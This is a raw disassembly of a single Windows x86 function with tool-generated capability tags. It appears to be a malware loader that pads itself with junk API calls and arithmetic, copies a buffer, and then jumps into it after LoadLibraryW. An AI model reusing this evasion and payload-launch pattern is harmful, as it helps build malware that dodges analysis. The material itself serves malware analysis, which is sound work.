Function at 0x405100
Capabilities:
Access the windows event log
Contain obfuscated stackstrings
Get common file path
Get geographical location
Get hostname
Manipulate console buffer

Disassembly:
mov edx, 0x42db88
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x4050e7
ret
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x78
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x414b41
push eax
mov eax, 0x125c
mov dword fs:[0], esp
call fcn.00414290
cmp dword [0x44e5dc], 0x66
push ebx
push esi
push edi
jne 0x405232
push 0x4034f0
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push ebx
lea eax, [ebp - 0xa68]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
lea esi, [ebp - 0x198]
call fcn.00406180
lea ecx, [ebp - 0x14c]
mov dword [ebp - 4], ebx
call fcn.00408c2b
lea ecx, [ebp - 0x14c]
call fcn.00408d09
call fcn.004088bf
push ebx
push ebx
call fcn.00408e9e
push ebx
push ebx
call fcn.00408e9e
push ebx
call fcn.00408fde
add esp, 0x14
jmp 0x4050e0
add dword [0x44e5dc], 0xb2d3b
call fcn.00405000
call fcn.00405020
xor esi, esi
cmp dword [0x44e5dc], esi
jbe 0x4052a3
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
lea esp, [esp]
mov ecx, dword [0x48f68c]
mov dl, byte [ecx + esi + 0xb2d3b]
mov eax, dword [0x44d1b8]
mov byte [eax + esi], dl
cmp dword [0x44e5dc], 0x67a
jne 0x40529a
push 0x4034f4
push 0
push 0
call edi
lea ecx, [ebp - 0x144]
push ecx
push 0x40351c
call ebx
inc esi
cmp esi, dword [0x44e5dc]
jb 0x405260
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor esi, esi
jmp 0x4052b0
mov edx, dword [0x44e5dc]
add edx, esi
cmp edx, 0x5e
jne 0x4052c8
lea eax, [ebp - 0xa68]
push eax
push 0
call edi
inc esi
cmp esi, 0x500ad3
jl 0x4052b0
mov esi, dword [sym.imp.USER32.dll_GetListBoxInfo]
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp + 0x74], 0x4f4
lea ebx, [ebx]
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
sub dword [ebp + 0x74], 1
jne 0x4052f0
mov edi, dword [sym.imp.KERNEL32.dll_GetCommMask]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, esi
push 0
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x26c0d4
jge 0x406018
mov dword [ebp + 0x30], 0x75d33f9d
mov dword [ebp - 0x94], 0x42dd414d
mov dword [ebp - 0x144], 0x7a432778
mov dword [ebp + 0x70], 0x43c1b8f7
mov dword [ebp - 0x8c], 0x754a447e
mov dword [ebp - 0x68], 0x7f54cdf3
mov dword [ebp - 0x140], 0x52411c3
mov dword [ebp - 0x14], 0x5bad71c8
mov dword [ebp - 0x130], 0xa61589d
mov dword [ebp - 0x108], 0x5b9d799b
mov dword [ebp - 0x128], 0x21ba579d
mov dword [ebp - 0x60], 0x63181b64
mov dword [ebp + 4], 0x1b28f466
mov dword [ebp - 0xe8], 0x102d6ec
mov dword [ebp - 0x104], 0x6d660c4b
mov dword [ebp - 0x78], 0x6e4b84c3
mov dword [ebp + 0x3c], 0x110bd970
mov dword [ebp + 0x4c], 0x73e3d7a6
mov dword [ebp - 0x40], 0x6458bbc8
mov dword [ebp - 0x98], 0x275f17
mov dword [ebp + 0x6c], 0x3de90335
mov dword [ebp - 0x160], 0x391f2fc8
mov dword [ebp + 0x38], 0xafce694
mov dword [ebp - 0x150], 0x5870f272
mov dword [ebp - 0x12c], 0x782779e1
mov dword [ebp - 0x84], 0x1212e00d
mov dword [ebp - 0x44], 0x6fe2cf1b
mov dword [ebp - 0x7c], 0x18eb55dc
mov dword [ebp + 0x54], 0x2706a32f
mov dword [ebp - 0x120], 0xa87ef2d
mov dword [ebp], 0xfc2509e
mov dword [ebp - 0xa0], 0x6aca2e68
mov dword [ebp + 0x40], 0x236e5ad5
mov dword [ebp - 0x10], 0x77edf119
mov dword [ebp - 0x58], 0x60e12261
mov dword [ebp - 0xb8], 0x60758342
mov dword [ebp - 0x154], 0x3cb8a85
mov dword [ebp - 0xd8], 0x7f7817a5
mov dword [ebp + 8], 0x5276d84f
mov dword [ebp - 0xfc], 0x764c7ebc
mov dword [ebp - 0x74], 0x10a7a972
mov dword [ebp - 0x124], 0x25550fb3
mov dword [ebp - 0x3c], 0x12289710
mov dword [ebp - 0xf4], 0x770613fa
mov dword [ebp - 0x11c], 0x5bcdf878
mov dword [ebp - 0x6c], 0x4fef9b2d
mov dword [ebp - 0x64], 0x188919b6
mov dword [ebp - 0xcc], 0x3608368a
mov dword [ebp + 0x10], 0x5c962e0
mov dword [ebp + 0x48], 0x3505525b
mov dword [ebp - 0x20], 0x461a5511
mov dword [ebp - 0xec], 0xd80e17e
mov dword [ebp - 0xc8], 0x550671a7
mov dword [ebp - 0xc4], 0x21d2e8ed
mov dword [ebp - 0x18], 0x292472c1
mov dword [ebp - 0xbc], 0x5ac02a94
mov dword [ebp + 0x18], 0x63a892fe
mov dword [ebp - 0xb4], 0x4f2c9c10
mov dword [ebp + 0x5c], 0x17e32638
mov dword [ebp + 0x14], 0x41764a54
mov dword [ebp + 0x50], 0x45e9ad32
mov dword [ebp - 0x34], 0x5d71cb29
mov dword [ebp - 0x70], 0x5af18947
mov dword [ebp + 0x58], 0x7eceb4ba
mov dword [ebp - 0x15c], 0x5f53d8bd
mov dword [ebp - 0xe4], 0x1cb42c76
mov dword [ebp + 0x44], 0x602e8566
mov dword [ebp + 0x60], 0x5ff1a856
mov dword [ebp - 0xac], 0x7c43720b
mov dword [ebp - 0x114], 0x2273bfbd
mov dword [ebp - 0x38], 0x6df51422
mov dword [ebp - 0x10c], 0x78aee7f6
mov dword [ebp - 0x2c], 0x42eb70be
mov dword [ebp + 0x1c], 0x2e43ab6
mov dword [ebp + 0x64], 0x4030cf84
mov dword [ebp - 0xf0], 0x7b5ed2e1
mov dword [ebp - 0x5c], 0x67c17cae
mov dword [ebp - 0xb0], 0x7e92a07c
mov dword [ebp - 0x100], 0x2f6ea77
mov dword [ebp + 0x20], 0x9162db6
mov dword [ebp + 0x68], 0x50f98d9c
mov dword [ebp + 0x24], 0x1b344916
mov dword [ebp - 0x138], 0x609e247a
mov dword [ebp - 0x90], 0x32719472
mov dword [ebp + 0x28], 0x159f4855
mov dword [ebp - 0x164], 0x905d4ac
mov dword [ebp - 0x80], 0x24b595d8
mov dword [ebp - 0x158], 0x4f5c8a81
mov dword [ebp - 0x13c], 0x5fdd6ac6
mov dword [ebp - 0x134], 0x6691ecf4
mov dword [ebp - 0x50], 0x76a99d5c
mov dword [ebp - 0x30], 0x3fdcfbbd
mov dword [ebp - 0x110], 0x26c042dd
mov dword [ebp - 0x118], 0x58ea43f3
mov dword [ebp - 0x54], 0xf6d01
mov dword [ebp - 0xc0], 0xf6ab76c
mov dword [ebp - 0x24], 0x1b8e99f4
mov dword [ebp - 0x1c], 0x3a6d55d7
mov dword [ebp - 0x88], 0x43107fe5
mov dword [ebp + 0x2c], 0x30495978
mov dword [ebp - 0xd0], 0x7ef60912
mov dword [ebp - 0xa8], 0x69737902
mov dword [ebp - 0xdc], 0x6c5b7ffc
mov dword [ebp - 0x4c], 0x129d89bc
mov dword [ebp - 0xf8], 0x16d5b5e1
mov dword [ebp - 0xa4], 0x70834fa9
mov dword [ebp + 0xc], 0x6836f3cb
mov dword [ebp - 0xe0], 0x89753a2
mov dword [ebp + 0x34], 0x2204398e
mov dword [ebp - 0xd4], 0x3cf89d9
mov dword [ebp - 0x48], 0x722ba71f
mov dword [ebp - 0x9c], 0x2f23e271
mov dword [ebp + 0x74], 0x7346c227
mov dword [ebp - 0x28], 0x743251de
sub dword [ebp + 0x30], 0xce82462
add dword [ebp + 0x30], 0x5190b627
add dword [ebp - 0x94], 0x59a03dfb
add dword [ebp - 0x144], 0x109f072d
sub dword [ebp + 0x30], 0x1d3987e
sub dword [ebp + 0x30], 0x7245e3d5
add dword [ebp - 0x94], 0x21f55294
mov eax, 0x23f4c20b
mul dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
add dword [ebp - 0x144], 0xcec6c02
mov eax, 0x4efe93a0
mul dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
mov eax, 0x71a45260
mul dword [ebp + 0x70]
mov eax, dword [ebp + 0x70]
sub dword [ebp - 0x68], 0x95acf28
add dword [ebp - 0x140], 0x53c6244c
add dword [ebp - 0x140], 0x3ed285df
add dword [ebp + 0x70], 0x43fb535e
mov eax, 0x72eb00c7
mul dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
add dword [ebp + 0x70], 0x468845e7
add dword [ebp - 0x14], 0x1ad0b134
add dword [ebp + 0x70], 0x56371e61
mov eax, 0x68c2c764
mul dword [ebp - 0x140]
mov eax, dword [ebp - 0x140]
add dword [ebp - 0x140], 0x7dcc36aa
mov eax, 0x4ea8ae3c
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
sub dword [ebp - 0x14], 0x7dbdead9
add dword [ebp - 0x8c], 0x2ea33e9f
add dword [ebp - 0x108], 0x30b7efaa
mov eax, 0x509b88d3
mul dword [ebp + 0x30]
mov eax, dword [ebp + 0x30]
sub dword [ebp - 0x94], 0x4c77d2f2
mov eax, 0x141e696d
mul dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
add dword [ebp - 0x8c], 0x5ba0ed92
add dword [ebp - 0x60], 0x2ba4cb2d
add dword [ebp - 0x140], 0x17b0e05e
add dword [ebp - 0x60], 0x52baa232
add dword [ebp - 0x94], 0x1d24ea55
sub dword [ebp - 0x14], 0x6329564a
add dword [ebp + 4], 0x52e0bb21
sub dword [ebp - 0x68], 0x4a2aa865
add dword [ebp - 0x14], 0x2ff2fa82
add dword [ebp - 0x60], 0x10935fea
sub dword [ebp - 0x60], 0x9adbeb7
add dword [ebp - 0x68], 0x59f3c905
sub dword [ebp - 0x8c], 0x73b1e6d4
add dword [ebp - 0x14], 0x1ed64b4
sub dword [ebp - 0x8c], 0x27eabb72
add dword [ebp + 0x4c], 0x7b48c611
mov eax, 0x145083f7
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x140], 0x76188569
add dword [ebp - 0x128], 0x1458fd83
sub dword [ebp - 0x128], 0x32804ad5
add dword [ebp - 0x104], 0x165949e
mov eax, 0x2f9c7bd1
mul dword [ebp + 0x30]
mov eax, dword [ebp + 0x30]
sub dword [ebp - 0x128], 0x4a0fde4c
mov eax, 0x70dca55c
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x8c], 0x218cd300
sub dword [ebp + 0x6c], 0x5381af06
sub dword [ebp - 0x108], 0x6b9551a5
mov eax, 0x6f9cdbd7
mul dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, 0x6708c655
mul dword [ebp - 0x140]
mov eax, dword [ebp - 0x140]
mov eax, 0xde965c1
mul dword [ebp - 0x108]
mov eax, dword [ebp - 0x108]
add dword [ebp + 0x38], 0x59aaa327
add dword [ebp - 0x60], 0x5e26f0df
mov eax, 0x4128aa6e
mul dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
sub dword [ebp - 0x150], 0x44d39f5f
add dword [ebp - 0x98], 0x7c182e93
add dword [ebp - 0x94], 0x7fe1202b
add dword [ebp + 0x30], 0x6cfbb6d2
sub dword [ebp - 0x44], 0x3701bf3
sub dword [ebp - 0x14], 0x60d48659
mov eax, 0x7edaef51
mul dword [ebp + 0x6c]
mov eax, dword [ebp + 0x6c]
mov eax, 0x6e8dc6a1
mul dword [ebp + 0x54]
mov eax, dword [ebp + 0x54]
add dword [ebp - 0x144], 0x44a02ae4
sub dword [ebp + 0x6c], 0x18c69d84
mov eax, 0x25147dbb
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, 0x183e2375
mul dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
sub dword [ebp - 0x44], 0x2b73a394
add dword [ebp - 0xb8], 0x5ea359b8
mov eax, 0x7cc3332
mul dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, 0x5cd3fcec
mul dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, 0x4df05e71
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, 0x62cca28b
mul dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov eax, 0x53c5135b
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
sub dword [ebp + 0x30], 0x442cf944
add dword [ebp - 0x104], 0x8515a25
add dword [ebp + 0x6c], 0x70bf0354
sub dword [ebp - 0x128], 0x157719bc
mov eax, 0x1f57787e
mul dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
sub dword [ebp - 0x68], 0x652e9cd
sub dword [ebp + 0x54], 0x3f407522
add dword [ebp - 0xe8], 0x11344960
add dword [ebp - 0x124], 0x4357d079
mov eax, 0xc0b6b66
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0xd8], 0x449a1513
mov eax, 0x1aa29ebf
mul dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
sub dword [ebp - 0x124], 0x32623bde
sub dword [ebp - 0x68], 0x6449ff72
sub dword [ebp + 0x30], 0x7d282249
mov eax, 0x3d678a95
mul dword [ebp]
mov eax, dword [ebp]
sub dword [ebp - 0x68], 0x438c6455
mov eax, 0x7d70281a
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, 0xcc1931
mul dword [ebp - 0x124]
mov eax, dword [ebp - 0x124]
sub dword [ebp - 0x84], 0x5b30fc81
mov eax, 0x2fcfb2e3
mul dword [ebp - 0x108]
mov eax, dword [ebp - 0x108]
add dword [ebp + 0x30], 0x4a18385a
mov eax, 0x2fd78020
mul dword [ebp + 0x6c]
mov eax, dword [ebp + 0x6c]
add dword [ebp - 0xb8], 0x11e989f
sub dword [ebp - 0x14], 0x2e0c2d
add dword [ebp + 8], 0x5c8e8929
sub dword [ebp - 0x12c], 0x10883030
add dword [ebp - 0x160], 0x6f1a2df0
add dword [ebp + 0x40], 0x75fe0b2c
sub dword [ebp + 0x38], 0x18b172e5
sub dword [ebp - 0x160], 0x75abac5d
sub dword [ebp - 0x84], 0x2e1e06c1
sub dword [ebp - 0x124], 0x5ecc7b7f
sub dword [ebp - 0xa0], 0x4480e6b5
mov eax, 0x6f295263
mul dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
add dword [ebp - 0x8c], 0x29376396
mov eax, 0x161fb4af
mul dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
sub dword [ebp + 0x14], 0x7c368152
sub dword [ebp + 0x4c], 0x63d8494a
add dword [ebp + 0x48], 0x177a1254
add dword [ebp - 0xd8], 0x4b0d4ba9
mov eax, 0x5373383d
mul dword [ebp + 0x50]
mov eax, dword [ebp + 0x50]
mov eax, 0x3e30e619
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
sub dword [ebp + 0x14], 0x7e658ce3
add dword [ebp - 0xd8], 0x5462edd9
sub dword [ebp - 0xcc], 0x1e232947
sub dword [ebp - 0x74], 0x47fa00cb
mov eax, 0x184a8415
mul dword [ebp + 0x3c]
mov eax, dword [ebp + 0x3c]
sub dword [ebp - 0xcc], 0x6f41e8f7
add dword [ebp - 0xfc], 0x1ae82334
mov eax, 0x36619ed0
mul dword [ebp + 0x3c]
mov eax, dword [ebp + 0x3c]
add dword [ebp + 0x6c], 0x54f9cb35
mov eax, 0x33b63119
mul dword [ebp - 0x15c]
mov eax, dword [ebp - 0x15c]
sub dword [ebp - 0x8c], 0x4cae5f44
sub dword [ebp + 0x58], 0x230359c4
add dword [ebp - 0x130], 0x7f328020
mov eax, 0x2996094
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
sub dword [ebp - 0x40], 0x7d3948cc
mov eax, 0x2758bd58
mul dword [ebp + 0x38]
mov eax, dword [ebp + 0x38]
add dword [ebp - 0xb4], 0x6ce99fcc
add dword [ebp + 8], 0x43fec215
sub dword [ebp + 8], 0x649094df
sub dword [ebp - 0x20], 0x2ef43737
mov eax, 0x5bae3e8d
mul dword [ebp + 0x6c]
mov eax, dword [ebp + 0x6c]
sub dword [ebp - 0x160], 0x485f47a9
add dword [ebp - 0xf0], 0x3bf811e3
mov eax, 0x2f0cc691
mul dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
sub dword [ebp - 0x3c], 0x5b6f38e5
sub dword [ebp - 0x68], 0x94580f7
sub dword [ebp - 0x14], 0x6cff3e1f
add dword [ebp - 0x98], 0x2e958aa8
sub dword [ebp - 0xb4], 0x6edb0452
add dword [ebp - 0xfc], 0x587c913f
sub dword [ebp - 0x78], 0x4e90e3ee
sub dword [ebp - 0x68], 0x30e70e6e
sub dword [ebp - 0x100], 0x7433d8d9
mov eax, 0x42e4dbec
mul dword [ebp + 8]
mov eax, dword [ebp + 8]
add dword [ebp + 0x70], 0x3d317b9a
add dword [ebp - 0x70], 0x3dbc91b4
sub dword [ebp + 0x54], 0x5dc11302
sub dword [ebp - 0x94], 0x7ae408c7
sub dword [ebp - 0x7c], 0x3b837c3c
sub dword [ebp - 0x78], 0x3c903660
add dword [ebp + 0x48], 0x29f65d14
mov eax, 0x27eab590
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
add dword [ebp - 0xb8], 0x5f1d945f
add dword [ebp - 0xc8], 0x5242f9af
sub dword [ebp + 0x3c], 0x29bca376
sub dword [ebp + 0x70], 0x4cf71d2a
sub dword [ebp - 0x18], 0x69294410
sub dword [ebp - 0x10], 0x4e68c6a1
mov eax, 0x7acc7e92
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, 0x5ea6387f
mul dword [ebp - 0x12c]
mov eax, dword [ebp - 0x12c]
sub dword [ebp + 0x18], 0x52bffa9b
mov eax, 0x32513c7a
mul dword [ebp + 0x20]
mov eax, dword [ebp + 0x20]
mov eax, 0x6485ed7f
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
sub dword [ebp - 0x114], 0x4400a6f3
sub dword [ebp - 0xe8], 0x6c9b14d8
add dword [ebp - 0x120], 0x67e70bc4
sub dword [ebp - 0x40], 0x36e97bb3
mov eax, 0x269727c
mul dword [ebp + 0x18]
mov eax, dword [ebp + 0x18]
sub dword [ebp - 0x40], 0x6dd491bf
mov eax, 0x77ae2d79
mul dword [ebp - 0x100]
mov eax, dword [ebp - 0x100]
mov eax, 0x66b9582
mul dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
add dword [ebp - 0x128], 0x329a8df7
add dword [ebp + 8], 0x3e82b11c
add dword [ebp - 0x64], 0x3f4eda10
sub dword [ebp + 0x50], 0x3d8a2390
add dword [ebp - 0xcc], 0x1ce8669
add dword [ebp - 0x124], 0x195ca01
add dword [ebp + 0x3c], 0xfe3d26b
sub dword [ebp + 0x18], 0x65d5f4b0
mov eax, 0x1674b383
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x138], 0x572edede
add dword [ebp - 0x164], 0x8e13f72
add dword [ebp - 0x18], 0x12e231bc
add dword [ebp - 0x2c], 0x1ad3bcef
add dword [ebp - 0xe4], 0x207621fb
add dword [ebp - 0x64], 0x57cfb59a
add dword [ebp + 0x44], 0xb97995f
mov eax, 0x1469fae5
mul dword [ebp + 0x14]
mov eax, dword [ebp + 0x14]
add dword [ebp - 0x38], 0x74108a42
add dword [ebp - 0x124], 0x12a2ef8e
mov eax, 0x38572037
mul dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
mov eax, 0x7afd409e
mul dword [ebp - 0x138]
mov eax, dword [ebp - 0x138]
mov eax, 0x3f5f5e4c
mul dword [ebp + 4]
mov eax, dword [ebp + 4]
mov eax, 0x7a9b993
mul dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
add dword [ebp - 0x1c], 0x708bfc24
mov eax, 0x3c7d6da9
mul dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov eax, 0x13fe961d
mul dword [ebp + 0x3c]
mov eax, dword [ebp + 0x3c]
mov eax, 0x65126fa0
mul dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
add dword [ebp - 0xf4], 0x29b3ffca
sub dword [ebp - 0x7c], 0x4625d087
sub dword [ebp + 0x30], 0x6e021bf8
mov eax, 0x6d2a7faa
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub dword [ebp], 0x7907cee9
add dword [ebp - 0x10c], 0x4435c810
sub dword [ebp + 0x5c], 0x4c6fdda6
add dword [ebp - 0x138], 0x4ed2eadd
mov eax, 0x2d6f6782
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, 0x40876628
mul dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf8]
sub dword [ebp - 0x94], 0x7b262c88
mov eax, 0x572d33e0
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0x58], 0x1f4e8946
mov eax, 0x3c19d7aa
mul dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
add dword [ebp - 0x10c], 0x38a38dbc
sub dword [ebp - 0x13c], 0x42d7e056
add dword [ebp - 0x110], 0x26bef110
mov eax, 0x7a330876
mul dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
add dword [ebp - 0xbc], 0x503f2052
mov eax, 0x7a5219d0
mul dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
add dword [ebp - 0xa4], 0x37e84912
mov eax, 0x7721a176
mul dword [ebp + 0x54]
mov eax, dword [ebp + 0x54]
sub dword [ebp - 0xb8], 0x3b68ac73
sub dword [ebp + 0x48], 0x15c0ca84
add dword [ebp - 0x48], 0x39a3d8a1
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp esi, 0x242889
jg 0x40603d
inc esi
cmp esi, 0x15a22750
jl 0x405312
call fcn.00404f20
call fcn.00404fe0
mov esi, dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
mov edi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov ebx, 0x7b
jmp 0x406060
cmp dword [0x44e5dc], 0x86
jne 0x406076
push 0
push 0
call esi
push 0
call edi
sub ebx, 1
jne 0x406060
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, 0x180ef
lea esp, [esp]
cmp dword [0x44e5dc], 0x1f
jne 0x4060c5
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp + 0x70]
push ecx
lea edx, [ebp - 0x1268]
push edx
call esi
xor ecx, ecx
xor eax, eax
lea edx, [ebp + 0x6c]
push edx
mov word [ebp + 0x74], ax
mov word [ebp + 0x76], cx
mov eax, dword [ebp + 0x74]
push eax
push ecx
push ecx
push ecx
call edi
sub ebx, 1
jne 0x406090
push 0x403544
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x44d1b8]
mov dword [0x44e5d0], eax
call eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add ebp, 0x78
mov esp, ebp
pop ebp
ret